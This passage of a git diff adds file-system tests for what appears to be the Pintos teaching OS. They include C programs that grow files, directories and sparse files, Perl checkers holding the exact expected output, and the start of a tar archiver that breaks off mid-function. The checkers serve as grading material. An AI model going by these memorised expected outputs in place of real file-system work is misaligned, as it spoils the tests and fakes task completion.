+return_block_size (void)
+{
+ return sizeof buf;
+}
+
+void
+test_main (void)
+{
+ size_t i;
+
+#ifdef DIRECTORY
+ CHECK (mkdir (DIRECTORY), "mkdir %s", DIRECTORY);
+#define DIR_PREFIX DIRECTORY "/"
+#else
+#define DIR_PREFIX ""
+#endif
+ for (i = 0; i < FILE_CNT; i++)
+ {
+ char file_name[128];
+ snprintf (file_name, sizeof file_name, "%sfile%zu", DIR_PREFIX, i);
+
+ msg ("creating and checking \"%s\"", file_name);
+
+ quiet = true;
+ seq_test (file_name,
+ buf, sizeof buf, sizeof buf,
+ return_block_size, NULL);
+ quiet = false;
+ }
+}
diff --git a/src/tests/filesys/extended/grow-file-size-persistence.ck b/src/tests/filesys/extended/grow-file-size-persistence.ck
new file mode 100644
index 0000000..150f383
--- /dev/null
+++ b/src/tests/filesys/extended/grow-file-size-persistence.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_archive ({"testfile" => [random_bytes (2134)]});
+pass;
diff --git a/src/tests/filesys/extended/grow-file-size.c b/src/tests/filesys/extended/grow-file-size.c
new file mode 100644
index 0000000..3ce8588
--- /dev/null
+++ b/src/tests/filesys/extended/grow-file-size.c
@@ -0,0 +1,33 @@
+/* Grows a file from 0 bytes to 2,134 bytes, 37 bytes at a time,
+ and checks that the file's size is reported correctly at each
+ step. */
+
+#include <syscall.h>
+#include "tests/filesys/seq-test.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static char buf[2134];
+
+static size_t
+return_block_size (void)
+{
+ return 37;
+}
+
+static void
+check_file_size (int fd, long ofs)
+{
+ long size = filesize (fd);
+ if (size != ofs)
+ fail ("filesize not updated properly: should be %ld, actually %ld",
+ ofs, size);
+}
+
+void
+test_main (void)
+{
+ seq_test ("testfile",
+ buf, sizeof buf, 0,
+ return_block_size, check_file_size);
+}
diff --git a/src/tests/filesys/extended/grow-file-size.ck b/src/tests/filesys/extended/grow-file-size.ck
new file mode 100644
index 0000000..d81feff
--- /dev/null
+++ b/src/tests/filesys/extended/grow-file-size.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-file-size) begin
+(grow-file-size) create "testfile"
+(grow-file-size) open "testfile"
+(grow-file-size) writing "testfile"
+(grow-file-size) close "testfile"
+(grow-file-size) open "testfile" for verification
+(grow-file-size) verified contents of "testfile"
+(grow-file-size) close "testfile"
+(grow-file-size) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-root-lg-persistence.ck b/src/tests/filesys/extended/grow-root-lg-persistence.ck
new file mode 100644
index 0000000..1692f46
--- /dev/null
+++ b/src/tests/filesys/extended/grow-root-lg-persistence.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+my ($fs);
+$fs->{"file$_"} = [random_bytes (512)] foreach 0...49;
+check_archive ($fs);
+pass;
diff --git a/src/tests/filesys/extended/grow-root-lg.c b/src/tests/filesys/extended/grow-root-lg.c
new file mode 100644
index 0000000..d8d6c09
--- /dev/null
+++ b/src/tests/filesys/extended/grow-root-lg.c
@@ -0,0 +1,4 @@
+/* Creates 50 files in the root directory. */
+
+#define FILE_CNT 50
+#include "tests/filesys/extended/grow-dir.inc"
diff --git a/src/tests/filesys/extended/grow-root-lg.ck b/src/tests/filesys/extended/grow-root-lg.ck
new file mode 100644
index 0000000..b174bc9
--- /dev/null
+++ b/src/tests/filesys/extended/grow-root-lg.ck
@@ -0,0 +1,60 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-root-lg) begin
+(grow-root-lg) creating and checking "file0"
+(grow-root-lg) creating and checking "file1"
+(grow-root-lg) creating and checking "file2"
+(grow-root-lg) creating and checking "file3"
+(grow-root-lg) creating and checking "file4"
+(grow-root-lg) creating and checking "file5"
+(grow-root-lg) creating and checking "file6"
+(grow-root-lg) creating and checking "file7"
+(grow-root-lg) creating and checking "file8"
+(grow-root-lg) creating and checking "file9"
+(grow-root-lg) creating and checking "file10"
+(grow-root-lg) creating and checking "file11"
+(grow-root-lg) creating and checking "file12"
+(grow-root-lg) creating and checking "file13"
+(grow-root-lg) creating and checking "file14"
+(grow-root-lg) creating and checking "file15"
+(grow-root-lg) creating and checking "file16"
+(grow-root-lg) creating and checking "file17"
+(grow-root-lg) creating and checking "file18"
+(grow-root-lg) creating and checking "file19"
+(grow-root-lg) creating and checking "file20"
+(grow-root-lg) creating and checking "file21"
+(grow-root-lg) creating and checking "file22"
+(grow-root-lg) creating and checking "file23"
+(grow-root-lg) creating and checking "file24"
+(grow-root-lg) creating and checking "file25"
+(grow-root-lg) creating and checking "file26"
+(grow-root-lg) creating and checking "file27"
+(grow-root-lg) creating and checking "file28"
+(grow-root-lg) creating and checking "file29"
+(grow-root-lg) creating and checking "file30"
+(grow-root-lg) creating and checking "file31"
+(grow-root-lg) creating and checking "file32"
+(grow-root-lg) creating and checking "file33"
+(grow-root-lg) creating and checking "file34"
+(grow-root-lg) creating and checking "file35"
+(grow-root-lg) creating and checking "file36"
+(grow-root-lg) creating and checking "file37"
+(grow-root-lg) creating and checking "file38"
+(grow-root-lg) creating and checking "file39"
+(grow-root-lg) creating and checking "file40"
+(grow-root-lg) creating and checking "file41"
+(grow-root-lg) creating and checking "file42"
+(grow-root-lg) creating and checking "file43"
+(grow-root-lg) creating and checking "file44"
+(grow-root-lg) creating and checking "file45"
+(grow-root-lg) creating and checking "file46"
+(grow-root-lg) creating and checking "file47"
+(grow-root-lg) creating and checking "file48"
+(grow-root-lg) creating and checking "file49"
+(grow-root-lg) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-root-sm-persistence.ck b/src/tests/filesys/extended/grow-root-sm-persistence.ck
new file mode 100644
index 0000000..2b0b8ab
--- /dev/null
+++ b/src/tests/filesys/extended/grow-root-sm-persistence.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+my ($fs);
+$fs->{"file$_"} = [random_bytes (512)] foreach 0...19;
+check_archive ($fs);
+pass;
diff --git a/src/tests/filesys/extended/grow-root-sm.c b/src/tests/filesys/extended/grow-root-sm.c
new file mode 100644
index 0000000..ee375d5
--- /dev/null
+++ b/src/tests/filesys/extended/grow-root-sm.c
@@ -0,0 +1,4 @@
+/* Creates 20 files in the root directory. */
+
+#define FILE_CNT 20
+#include "tests/filesys/extended/grow-dir.inc"
diff --git a/src/tests/filesys/extended/grow-root-sm.ck b/src/tests/filesys/extended/grow-root-sm.ck
new file mode 100644
index 0000000..1aac7e9
--- /dev/null
+++ b/src/tests/filesys/extended/grow-root-sm.ck
@@ -0,0 +1,30 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-root-sm) begin
+(grow-root-sm) creating and checking "file0"
+(grow-root-sm) creating and checking "file1"
+(grow-root-sm) creating and checking "file2"
+(grow-root-sm) creating and checking "file3"
+(grow-root-sm) creating and checking "file4"
+(grow-root-sm) creating and checking "file5"
+(grow-root-sm) creating and checking "file6"
+(grow-root-sm) creating and checking "file7"
+(grow-root-sm) creating and checking "file8"
+(grow-root-sm) creating and checking "file9"
+(grow-root-sm) creating and checking "file10"
+(grow-root-sm) creating and checking "file11"
+(grow-root-sm) creating and checking "file12"
+(grow-root-sm) creating and checking "file13"
+(grow-root-sm) creating and checking "file14"
+(grow-root-sm) creating and checking "file15"
+(grow-root-sm) creating and checking "file16"
+(grow-root-sm) creating and checking "file17"
+(grow-root-sm) creating and checking "file18"
+(grow-root-sm) creating and checking "file19"
+(grow-root-sm) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-seq-lg-persistence.ck b/src/tests/filesys/extended/grow-seq-lg-persistence.ck
new file mode 100644
index 0000000..41aaae0
--- /dev/null
+++ b/src/tests/filesys/extended/grow-seq-lg-persistence.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_archive ({"testme" => [random_bytes (72943)]});
+pass;
diff --git a/src/tests/filesys/extended/grow-seq-lg.c b/src/tests/filesys/extended/grow-seq-lg.c
new file mode 100644
index 0000000..3108d17
--- /dev/null
+++ b/src/tests/filesys/extended/grow-seq-lg.c
@@ -0,0 +1,5 @@
+/* Grows a file from 0 bytes to 72,943 bytes, 1,234 bytes at a
+ time. */
+
+#define TEST_SIZE 72943
+#include "tests/filesys/extended/grow-seq.inc"
diff --git a/src/tests/filesys/extended/grow-seq-lg.ck b/src/tests/filesys/extended/grow-seq-lg.ck
new file mode 100644
index 0000000..90fcd8c
--- /dev/null
+++ b/src/tests/filesys/extended/grow-seq-lg.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-seq-lg) begin
+(grow-seq-lg) create "testme"
+(grow-seq-lg) open "testme"
+(grow-seq-lg) writing "testme"
+(grow-seq-lg) close "testme"
+(grow-seq-lg) open "testme" for verification
+(grow-seq-lg) verified contents of "testme"
+(grow-seq-lg) close "testme"
+(grow-seq-lg) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-seq-sm-persistence.ck b/src/tests/filesys/extended/grow-seq-sm-persistence.ck
new file mode 100644
index 0000000..6cb0bd8
--- /dev/null
+++ b/src/tests/filesys/extended/grow-seq-sm-persistence.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_archive ({"testme" => [random_bytes (5678)]});
+pass;
diff --git a/src/tests/filesys/extended/grow-seq-sm.c b/src/tests/filesys/extended/grow-seq-sm.c
new file mode 100644
index 0000000..3656e2e
--- /dev/null
+++ b/src/tests/filesys/extended/grow-seq-sm.c
@@ -0,0 +1,5 @@
+/* Grows a file from 0 bytes to 5,678 bytes, 1,234 bytes at a
+ time. */
+
+#define TEST_SIZE 5678
+#include "tests/filesys/extended/grow-seq.inc"
diff --git a/src/tests/filesys/extended/grow-seq-sm.ck b/src/tests/filesys/extended/grow-seq-sm.ck
new file mode 100644
index 0000000..5cf4518
--- /dev/null
+++ b/src/tests/filesys/extended/grow-seq-sm.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-seq-sm) begin
+(grow-seq-sm) create "testme"
+(grow-seq-sm) open "testme"
+(grow-seq-sm) writing "testme"
+(grow-seq-sm) close "testme"
+(grow-seq-sm) open "testme" for verification
+(grow-seq-sm) verified contents of "testme"
+(grow-seq-sm) close "testme"
+(grow-seq-sm) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-seq.inc b/src/tests/filesys/extended/grow-seq.inc
new file mode 100644
index 0000000..1b7710c
--- /dev/null
+++ b/src/tests/filesys/extended/grow-seq.inc
@@ -0,0 +1,20 @@
+/* -*- c -*- */
+
+#include "tests/filesys/seq-test.h"
+#include "tests/main.h"
+
+static char buf[TEST_SIZE];
+
+static size_t
+return_block_size (void)
+{
+ return 1234;
+}
+
+void
+test_main (void)
+{
+ seq_test ("testme",
+ buf, sizeof buf, 0,
+ return_block_size, NULL);
+}
diff --git a/src/tests/filesys/extended/grow-sparse-persistence.ck b/src/tests/filesys/extended/grow-sparse-persistence.ck
new file mode 100644
index 0000000..3f06a5b
--- /dev/null
+++ b/src/tests/filesys/extended/grow-sparse-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({"testfile" => ["\0" x 76543]});
+pass;
diff --git a/src/tests/filesys/extended/grow-sparse.c b/src/tests/filesys/extended/grow-sparse.c
new file mode 100644
index 0000000..6eab210
--- /dev/null
+++ b/src/tests/filesys/extended/grow-sparse.c
@@ -0,0 +1,25 @@
+/* Tests that seeking past the end of a file and writing will
+ properly zero out the region in between. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static char buf[76543];
+
+void
+test_main (void)
+{
+ const char *file_name = "testfile";
+ char zero = 0;
+ int fd;
+
+ CHECK (create (file_name, 0), "create \"%s\"", file_name);
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ msg ("seek \"%s\"", file_name);
+ seek (fd, sizeof buf - 1);
+ CHECK (write (fd, &zero, 1) > 0, "write \"%s\"", file_name);
+ msg ("close \"%s\"", file_name);
+ close (fd);
+ check_file (file_name, buf, sizeof buf);
+}
diff --git a/src/tests/filesys/extended/grow-sparse.ck b/src/tests/filesys/extended/grow-sparse.ck
new file mode 100644
index 0000000..379ba2c
--- /dev/null
+++ b/src/tests/filesys/extended/grow-sparse.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-sparse) begin
+(grow-sparse) create "testfile"
+(grow-sparse) open "testfile"
+(grow-sparse) seek "testfile"
+(grow-sparse) write "testfile"
+(grow-sparse) close "testfile"
+(grow-sparse) open "testfile" for verification
+(grow-sparse) verified contents of "testfile"
+(grow-sparse) close "testfile"
+(grow-sparse) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-tell-persistence.ck b/src/tests/filesys/extended/grow-tell-persistence.ck
new file mode 100644
index 0000000..d93a422
--- /dev/null
+++ b/src/tests/filesys/extended/grow-tell-persistence.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_archive ({"foobar" => [random_bytes (2134)]});
+pass;
diff --git a/src/tests/filesys/extended/grow-tell.c b/src/tests/filesys/extended/grow-tell.c
new file mode 100644
index 0000000..5f5da5b
--- /dev/null
+++ b/src/tests/filesys/extended/grow-tell.c
@@ -0,0 +1,32 @@
+/* Checks that growing a file updates the file position
+ correctly. */
+
+#include <syscall.h>
+#include "tests/filesys/seq-test.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static char buf[2134];
+
+static size_t
+return_block_size (void)
+{
+ return 37;
+}
+
+static void
+check_tell (int fd, long ofs)
+{
+ long pos = tell (fd);
+ if (pos != ofs)
+ fail ("file position not updated properly: should be %ld, actually %ld",
+ ofs, pos);
+}
+
+void
+test_main (void)
+{
+ seq_test ("foobar",
+ buf, sizeof buf, 0,
+ return_block_size, check_tell);
+}
diff --git a/src/tests/filesys/extended/grow-tell.ck b/src/tests/filesys/extended/grow-tell.ck
new file mode 100644
index 0000000..fe94707
--- /dev/null
+++ b/src/tests/filesys/extended/grow-tell.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-tell) begin
+(grow-tell) create "foobar"
+(grow-tell) open "foobar"
+(grow-tell) writing "foobar"
+(grow-tell) close "foobar"
+(grow-tell) open "foobar" for verification
+(grow-tell) verified contents of "foobar"
+(grow-tell) close "foobar"
+(grow-tell) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/grow-two-files-persistence.ck b/src/tests/filesys/extended/grow-two-files-persistence.ck
new file mode 100644
index 0000000..1c4ced1
--- /dev/null
+++ b/src/tests/filesys/extended/grow-two-files-persistence.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+my ($a) = random_bytes (8143);
+my ($b) = random_bytes (8143);
+check_archive ({"a" => [$a], "b" => [$b]});
+pass;
diff --git a/src/tests/filesys/extended/grow-two-files.c b/src/tests/filesys/extended/grow-two-files.c
new file mode 100644
index 0000000..6a8fb1c
--- /dev/null
+++ b/src/tests/filesys/extended/grow-two-files.c
@@ -0,0 +1,62 @@
+/* Grows two files in parallel and checks that their contents are
+ correct. */
+
+#include <random.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#define FILE_SIZE 8143
+static char buf_a[FILE_SIZE];
+static char buf_b[FILE_SIZE];
+
+static void
+write_some_bytes (const char *file_name, int fd, const char *buf, size_t *ofs)
+{
+ if (*ofs < FILE_SIZE)
+ {
+ size_t block_size = random_ulong () % (FILE_SIZE / 8) + 1;
+ size_t ret_val;
+ if (block_size > FILE_SIZE - *ofs)
+ block_size = FILE_SIZE - *ofs;
+
+ ret_val = write (fd, buf + *ofs, block_size);
+ if (ret_val != block_size)
+ fail ("write %zu bytes at offset %zu in \"%s\" returned %zu",
+ block_size, *ofs, file_name, ret_val);
+ *ofs += block_size;
+ }
+}
+
+void
+test_main (void)
+{
+ int fd_a, fd_b;
+ size_t ofs_a = 0, ofs_b = 0;
+
+ random_init (0);
+ random_bytes (buf_a, sizeof buf_a);
+ random_bytes (buf_b, sizeof buf_b);
+
+ CHECK (create ("a", 0), "create \"a\"");
+ CHECK (create ("b", 0), "create \"b\"");
+
+ CHECK ((fd_a = open ("a")) > 1, "open \"a\"");
+ CHECK ((fd_b = open ("b")) > 1, "open \"b\"");
+
+ msg ("write \"a\" and \"b\" alternately");
+ while (ofs_a < FILE_SIZE || ofs_b < FILE_SIZE)
+ {
+ write_some_bytes ("a", fd_a, buf_a, &ofs_a);
+ write_some_bytes ("b", fd_b, buf_b, &ofs_b);
+ }
+
+ msg ("close \"a\"");
+ close (fd_a);
+
+ msg ("close \"b\"");
+ close (fd_b);
+
+ check_file ("a", buf_a, FILE_SIZE);
+ check_file ("b", buf_b, FILE_SIZE);
+}
diff --git a/src/tests/filesys/extended/grow-two-files.ck b/src/tests/filesys/extended/grow-two-files.ck
new file mode 100644
index 0000000..b5e754a
--- /dev/null
+++ b/src/tests/filesys/extended/grow-two-files.ck
@@ -0,0 +1,23 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(grow-two-files) begin
+(grow-two-files) create "a"
+(grow-two-files) create "b"
+(grow-two-files) open "a"
+(grow-two-files) open "b"
+(grow-two-files) write "a" and "b" alternately
+(grow-two-files) close "a"
+(grow-two-files) close "b"
+(grow-two-files) open "a" for verification
+(grow-two-files) verified contents of "a"
+(grow-two-files) close "a"
+(grow-two-files) open "b" for verification
+(grow-two-files) verified contents of "b"
+(grow-two-files) close "b"
+(grow-two-files) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/mk-tree.c b/src/tests/filesys/extended/mk-tree.c
new file mode 100644
index 0000000..a36bb88
--- /dev/null
+++ b/src/tests/filesys/extended/mk-tree.c
@@ -0,0 +1,67 @@
+/* Library function for creating a tree of directories. */
+
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/filesys/extended/mk-tree.h"
+#include "tests/lib.h"
+
+static void do_mkdir (const char *format, ...) PRINTF_FORMAT (1, 2);
+static void do_touch (const char *format, ...) PRINTF_FORMAT (1, 2);
+
+void
+make_tree (int at, int bt, int ct, int dt)
+{
+ char try[128];
+ int a, b, c, d;
+ int fd;
+
+ msg ("creating /0/0/0/0 through /%d/%d/%d/%d...",
+ at - 1, bt - 1, ct - 1, dt - 1);
+ quiet = true;
+ for (a = 0; a < at; a++)
+ {
+ do_mkdir ("/%d", a);
+ for (b = 0; b < bt; b++)
+ {
+ do_mkdir ("/%d/%d", a, b);
+ for (c = 0; c < ct; c++)
+ {
+ do_mkdir ("/%d/%d/%d", a, b, c);
+ for (d = 0; d < dt; d++)
+ do_touch ("/%d/%d/%d/%d", a, b, c, d);
+ }
+ }
+ }
+ quiet = false;
+
+ snprintf (try, sizeof try, "/%d/%d/%d/%d", 0, bt - 1, 0, dt - 1);
+ CHECK ((fd = open (try)) > 1, "open \"%s\"", try);
+ msg ("close \"%s\"", try);
+ close (fd);
+}
+
+static void
+do_mkdir (const char *format, ...)
+{
+ char dir[128];
+ va_list args;
+
+ va_start (args, format);
+ vsnprintf (dir, sizeof dir, format, args);
+ va_end (args);
+
+ CHECK (mkdir (dir), "mkdir \"%s\"", dir);
+}
+
+static void
+do_touch (const char *format, ...)
+{
+ char file[128];
+ va_list args;
+
+ va_start (args, format);
+ vsnprintf (file, sizeof file, format, args);
+ va_end (args);
+
+ CHECK (create (file, 0), "create \"%s\"", file);
+}
diff --git a/src/tests/filesys/extended/mk-tree.h b/src/tests/filesys/extended/mk-tree.h
new file mode 100644
index 0000000..df0d5a6
--- /dev/null
+++ b/src/tests/filesys/extended/mk-tree.h
@@ -0,0 +1,6 @@
+#ifndef TESTS_FILESYS_EXTENDED_MK_TREE_H
+#define TESTS_FILESYS_EXTENDED_MK_TREE_H
+
+void make_tree (int at, int bt, int ct, int dt);
+
+#endif /* tests/filesys/extended/mk-tree.h */
diff --git a/src/tests/filesys/extended/syn-rw-persistence.ck b/src/tests/filesys/extended/syn-rw-persistence.ck
new file mode 100644
index 0000000..62d57ee
--- /dev/null
+++ b/src/tests/filesys/extended/syn-rw-persistence.ck
@@ -0,0 +1,8 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_archive ({"child-syn-rw" => "tests/filesys/extended/child-syn-rw",
+ "logfile" => [random_bytes (8 * 512)]});
+pass;
diff --git a/src/tests/filesys/extended/syn-rw.c b/src/tests/filesys/extended/syn-rw.c
new file mode 100644
index 0000000..657dfb5
--- /dev/null
+++ b/src/tests/filesys/extended/syn-rw.c
@@ -0,0 +1,35 @@
+/* Grows a file in chunks while subprocesses read the growing
+ file. */
+
+#include <random.h>
+#include <syscall.h>
+#include "tests/filesys/extended/syn-rw.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+char buf[BUF_SIZE];
+
+#define CHILD_CNT 4
+
+void
+test_main (void)
+{
+ pid_t children[CHILD_CNT];
+ size_t ofs;
+ int fd;
+
+ CHECK (create (file_name, 0), "create \"%s\"", file_name);
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+
+ exec_children ("child-syn-rw", children, CHILD_CNT);
+
+ random_bytes (buf, sizeof buf);
+ quiet = true;
+ for (ofs = 0; ofs < BUF_SIZE; ofs += CHUNK_SIZE)
+ CHECK (write (fd, buf + ofs, CHUNK_SIZE) > 0,
+ "write %d bytes at offset %zu in \"%s\"",
+ (int) CHUNK_SIZE, ofs, file_name);
+ quiet = false;
+
+ wait_children (children, CHILD_CNT);
+}
diff --git a/src/tests/filesys/extended/syn-rw.ck b/src/tests/filesys/extended/syn-rw.ck
new file mode 100644
index 0000000..ac82aa8
--- /dev/null
+++ b/src/tests/filesys/extended/syn-rw.ck
@@ -0,0 +1,20 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::random;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(syn-rw) begin
+(syn-rw) create "logfile"
+(syn-rw) open "logfile"
+(syn-rw) exec child 1 of 4: "child-syn-rw 0"
+(syn-rw) exec child 2 of 4: "child-syn-rw 1"
+(syn-rw) exec child 3 of 4: "child-syn-rw 2"
+(syn-rw) exec child 4 of 4: "child-syn-rw 3"
+(syn-rw) wait for child 1 of 4 returned 0 (expected 0)
+(syn-rw) wait for child 2 of 4 returned 1 (expected 1)
+(syn-rw) wait for child 3 of 4 returned 2 (expected 2)
+(syn-rw) wait for child 4 of 4 returned 3 (expected 3)
+(syn-rw) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/syn-rw.h b/src/tests/filesys/extended/syn-rw.h
new file mode 100644
index 0000000..170aeb4
--- /dev/null
+++ b/src/tests/filesys/extended/syn-rw.h
@@ -0,0 +1,9 @@
+#ifndef TESTS_FILESYS_EXTENDED_SYN_RW_H
+#define TESTS_FILESYS_EXTENDED_SYN_RW_H
+
+#define CHUNK_SIZE 8
+#define CHUNK_CNT 512
+#define BUF_SIZE (CHUNK_SIZE * CHUNK_CNT)
+static const char file_name[] = "logfile";
+
+#endif /* tests/filesys/extended/syn-rw.h */
diff --git a/src/tests/filesys/extended/tar.c b/src/tests/filesys/extended/tar.c
new file mode 100644
index 0000000..6f70d97
--- /dev/null
+++ b/src/tests/filesys/extended/tar.c
@@ -0,0 +1,250 @@
+/* tar.c
+
+ Creates a tar archive. */
+
+#include <syscall.h>
+#include <stdio.h>
+#include <string.h>
+
+static void usage (void);
+static bool make_tar_archive (const char *archive_name,
+ char *files[], size_t file_cnt);
+
+int
+main (int argc, char *argv[])
+{
+ if (argc < 3)
+ usage ();
+
+ return (make_tar_archive (argv[1], argv + 2, argc - 2)
+ ? EXIT_SUCCESS : EXIT_FAILURE);
+}
+
+static void
+usage (void)
+{
+ printf ("tar, tar archive creator\n"
+ "Usage: tar ARCHIVE FILE...\n"
+ "where ARCHIVE is the tar archive to create\n"
+ " and FILE... is a list of files or directories to put into it.\n"
+ "(ARCHIVE itself will not be included in the archive, even if it\n"
+ "is in a directory to be archived.)\n");
+ exit (EXIT_FAILURE);
+}
+
+static bool archive_file (char file_name[], size_t file_name_size,
+ int archive_fd, bool *write_error);
+
+static bool archive_ordinary_file (const char *file_name, int file_fd,
+ int archive_fd, bool *write_error);
+static bool archive_directory (char file_name[], size_t file_name_size,
+ int file_fd, int archive_fd, bool *write_error);
+static bool write_header (const char *file_name,
+ char type_flag, int size, unsigned mode,
+ int archive_fd, bool *write_error);
+
+static bool do_write (int fd, const char *buffer, int size, bool *write_error);
+
+static bool
+make_tar_archive (const char *archive_name, char *files[], size_t file_cnt)
+{
+ static const char zeros[512];
+ int archive_fd;
+ bool success = true;
+ bool write_error = false;
+ size_t i;
+
+ if (!create (archive_name, 0))
+ {
+ printf ("%s: create failed\n", archive_name);
+ return false;
+ }
+ archive_fd = open (archive_name);
+ if (archive_fd < 0)
+ {
+ printf ("%s: open failed\n", archive_name);
+ return false;
+ }
+
+ for (i = 0; i < file_cnt; i++)
+ {
+ char file_name[128];
+
+ strlcpy (file_name, files[i], sizeof file_name);
+ if (!archive_file (file_name, sizeof file_name,
+ archive_fd, &write_error))
+ success = false;
+ }
+
+ if (!do_write (archive_fd, zeros, 512, &write_error)
+ || !do_write (archive_fd, zeros, 512, &write_error))
+ success = false;
+
+ close (archive_fd);
+
+ return success;
+}
+
+static bool
+archive_file (char file_name[], size_t file_name_size,
+ int archive_fd, bool *write_error)
+{
+ int file_fd = open (file_name);
+ if (file_fd >= 0)
+ {
+ bool success;
+
+ if (inumber (file_fd) != inumber (archive_fd))
+ {
+ if (!isdir (file_fd))
+ success = archive_ordinary_file (file_name, file_fd,
+ archive_fd, write_error);
+ else
+ success = archive_directory (file_name, file_name_size, file_fd,
+ archive_fd, write_error);
+ }
+ else
+ {
+ /* Nothing to do: don't try to archive the archive file. */
+ success = true;
+ }
+
+ close (file_fd);
+
+ return success;
+ }
+ else
+ {
+ printf ("%s: open failed\n", file_name);
+ return false;
+ }
+}
+
+static bool
+archive_ordinary_file (const char *file_name, int file_fd,
+ int archive_fd, bool *write_error)
+{
+ bool read_error = false;
+ bool success = true;
+ int file_size = filesize (file_fd);
+
+ if (!write_header (file_name, '0', file_size, 0644, archive_fd, write_error))
+ return false;
+
+ while (file_size > 0)
+ {
+ static char buf[512];
+ int chunk_size = file_size > 512 ? 512 : file_size;
+ int read_retval = read (file_fd, buf, chunk_size);
+ int bytes_read = read_retval > 0 ? read_retval : 0;
+
+ if (bytes_read != chunk_size && !read_error)
+ {
+ printf ("%s: read error\n", file_name);
+ read_error = true;
+ success = false;
+ }
+
+ memset (buf + bytes_read, 0, 512 - bytes_read);
+ if (!do_write (archive_fd, buf, 512, write_error))
+ success = false;
+
+ file_size -= chunk_size;
+ }
+
+ return success;
+}
+
+static bool
+archive_directory (char file_name[], size_t file_name_size, int file_fd,
+ int archive_fd, bool *write_error)
+{
+ size_t dir_len;
+ bool success = true;
+
+ dir_len = strlen (file_name);
+ if (dir_len + 1 + READDIR_MAX_LEN + 1 > file_name_size)
+ {
+ printf ("%s: file name too long\n", file_name);
+ return false;
+ }
+
+ if (!write_header (file_name, '5', 0, 0755, archive_fd, write_error))
+ return false;
+
+ file_name[dir_len] = '/';
+ while (readdir (file_fd, &file_name[dir_len + 1]))
+ if (!archive_file (file_name, file_name_size, archive_fd, write_error))
+ success = false;
+ file_name[dir_len] = '\0';
+
+ return success;
+}
+
+static bool
+write_header (const char *file_name,
+ char type_flag, int size, unsigned mode,
+ int archive_fd, bool *write_error)
+{
+ static char header[512];
+ unsigned chksum;
+ size_t i;
+
+ memset (header, 0, sizeof header);
+
+ /* Drop confusing and possibly dangerous prefixes from
+ FILE_NAME. */
+ while (*file_name == '/'
+ || !memcmp (file_name, "./", 2)
+ || !memcmp (file_name, "../", 3))
+ file_name = strchr (file_name, '/') + 1;
+ if (*file_name == '\0')
+ {
+ /* Dropped *everything* from FILE_NAME.
+ Should only be possible for a directory. */
+ ASSERT (type_flag == '5');
+ return true;
+ }
+ else if (strlen (file_name) > 99)
+ {
+ printf ("%s: file name too long\n", file_name);
+ return false;
+ }
+
+ /* Fill in header except for final checksum. */
+ strlcpy (header, file_name, 100); /* name */
+ snprintf (header + 100, 8, "%07o", mode); /* mode */
+ strlcpy (header + 108, "0000000", 8); /* uid */
+ strlcpy (header + 116, "0000000", 8); /* gid */
+ snprintf (header + 124, 12, "%011o", size); /* size */
+ snprintf (header + 136, 12, "%011o", 1136102400); /* mtime (2006-01-01) */
+ memset (header + 148, ' ', 8); /* chksum */
+ header[156] = type_flag; /* typeflag */
